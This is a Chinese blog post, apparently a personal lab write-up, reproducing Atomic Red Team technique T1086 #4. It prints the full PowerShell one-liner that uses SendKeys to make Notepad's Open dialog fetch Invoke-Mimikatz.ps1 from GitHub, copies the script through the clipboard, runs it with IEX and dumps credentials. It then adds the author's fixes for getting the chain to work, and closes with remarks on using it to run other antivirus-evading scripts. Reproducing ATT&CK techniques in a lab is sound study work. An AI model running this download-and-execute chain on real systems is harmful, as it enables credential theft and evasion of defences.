原子红队是一个在github上以脚本为主的项目,主要是对于att&ck框架的攻击手法的实现,项目地址原子红队,最近处于个人兴趣的原因对上面的攻击手法进行复现,恰好今天碰见了一个对我造成了很大困扰的攻击手法,解决该问题之后才写了这篇稿子。
复现到编号为T1086的攻击手法时,碰上了一些令我十分困扰的问题。
T1086下是一些使用powershell的攻击手法,其中#4的是以mimikatz为例,使用PsSendKeys为手段进行攻击:
对于powershell我才刚刚开始学习,所以一上来我对什么是PsSendKeys也不是很了解,所以先进行资料的查找。
首先我们要了解的是,powershell可以视为cmd的基于.NET框架的究极进化体,可以实现非常多且强大的功能。与此同时C#程序可以实现的功能,powershell同样也可以实现,因为他们都是基于.NET框架的产物。正是因为这样powershell的脚本/命令可以不通过powershell.exe这个二进制文件就能执行,这需要通过System.Management.Automation这一底层接口,如果有机会我会再写一篇文章讲这个接口,今天的重点不是他。
因为上面说到的特性,c#可以使用的第三方dll,powershell也可以使用,今天要讲的便是System.Reflection.Assembly和System.Windows.Forms。而sendkeys是c#中模拟键盘的一种方法。
首先我们来看一下:官方给出的脚本,为了方便看我将其换行整理了一下:
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1'; $wshell=New-Object -ComObject WScript.Shell; $reg='HKCU:\Software\Microsoft\Notepad'; $app='Notepad';$props=(Get-ItemProperty $reg); [Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); @(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]}; $curpid=$wshell.Exec($app).ProcessID; While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500}; While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500}; $wshell.SendKeys('^o'); Start-Sleep -Milliseconds 1000; @($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)}; $res=$Null; While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear(); @('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}; Start-Sleep -Milliseconds 500; $res=([Windows.Forms.Clipboard]::GetText())}; [Windows.Forms.Clipboard]::Clear(); @('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)}; If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}}; @('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)}; IEX($res); invoke-mimikatz -dumpcr
在windows server 2012的环境下运行,注意要使用管理员权限:
在复现att&ck时经常会出现各种各样的报错,我已经习惯去修改里面给出的脚本了,首先看一下报错的原因:路径不正确,也就是从文件名这一栏无法去直接访问这个放在web上的mimikatz的ps1脚本。
那我们去尝试一下以这种思路怎么才能访问到这个mimikatz,在此电脑的路径中输入url:
成功访问到了这个mimikatz.ps1!那我们试试在记事本中能否成功,首先要对脚本进行改动。因为该脚本时通过这种方式打开记事本时,光标处于文件名处而不是路径栏中,如图:
这段powershell是这样打开记事本,并选择打开文件选项的:
$wshell=New-Object -ComObject WScript.Shell; $app='Notepad'; $curpid=$wshell.Exec($app).ProcessID;
模拟键盘的ctrl+o,也就是打开文件选项:
$wshell=New-Object -ComObject WScript.Shell; $reg='HKCU:\Software\Microsoft\Notepad'; $app='Notepad'; [Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); @(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]}; $curpid=$wshell.Exec($app).ProcessID; While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500}; While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500}; $wshell.SendKeys('^o'); Start-Sleep -Milliseconds 1000;
使用这段命令复制记事本中的内容:
@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};
这里通过Notepad在注册表中的信息,以及powershell的GPS命令,GPS也就是cmd中的tasklist:
这段powershell中使用c#反射,也就是System.Reflection.Assembly加载命名空间System.Windows.Forms,并使用该命名空间中的类,根据注册表以及gps命令获取的记事本的名称并在该记事本中使用的crtl+o组合键。(System.Windows.Forms中的类)
这时我们需要在这段powershell中添加几次如下代码:
$wshell.SendKeys('{tab}'); Start-Sleep -Milliseconds 1000
即可将光标替换到路径栏中:
正当我以为胜利的曙光就在眼前时,一个报错打破了我的幻想:
记事本中打开文件的每个地方我都尝试了,我陷入了深深的自闭中。。。我决定换一个新的环境去尝试一下这个攻击手法。我换成了我的物理机的win10系统,直接将原版powershell命令执行:
这次没有报错,但是卡在了奇怪的地方,文件名那一栏输入到一半卡住了。。。我思来想去不知道这到底又是什么原因,忽然想到了刚才powershell脚本在模拟键盘的过程中出现了中文输入法,于是我是用纯英文的键盘再次执行:
居然开始下载了!还成功执行了mimikatz。
这次复现是我目前为止碰上最耗费我时间的一次复现,来来回回修改powershell代码和测试花了三个多小时左右,最后终于成功了。谈一谈这种攻击手法的免杀效果把,我发现这种手法被杀的几率取决于你下载并且复制的powershell脚本,所以不光可以使用mimikatz而且mimikatz对于win10实在太过鸡肋,但是我们可以通过这个手法去执行其他免杀过的ps1脚本,算是开拓了思路。